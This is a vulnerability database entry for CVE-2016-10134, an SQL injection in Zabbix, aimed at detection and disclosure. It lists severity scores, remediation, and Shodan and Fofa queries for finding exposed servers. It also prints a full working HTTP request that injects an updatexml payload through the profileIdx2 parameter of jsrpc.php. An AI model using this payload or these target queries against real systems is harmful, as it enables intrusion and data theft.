🔙 목록으로 돌아가기

CVE-2016-10134: Zabbix - SQL Injection

TitleZabbix - SQL Injection
Authorprincechaddha
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the Zabbix application and underlying systems.
RemediationApply the latest security patches or upgrade to a patched version of Zabbix to mitigate the SQL Injection vulnerability (CVE-2016-10134).
CVSS Score9.8
EPSS Score0.88001
CVE IDCVE-2016-10134
CWE IDCWE-89
Shodan Queryhttp.favicon.hash:892542951http.title:"zabbix-server"cpe:"cpe:2.3:a:zabbix:zabbix"
Fofa Queryicon_hash=892542951app="zabbix-监控系统" && body="saml"title="zabbix-server"
Tags cve2016 cve zabbix sqli vulhub vuln

🔍 Vulnerability Description

Zabbix before 2.2.14 and 3.0 before 3.0.4 allows remote attackers to execute arbitrary SQL commands via the toggle_ids array parameter in latest.php and perform SQL injection attacks.

🌐 HTTP Request

GET /jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0):: HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2016/CVE-2016-10134.yaml

🦈 Packet Capture: ⬇️ Download cve-2016-10134.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A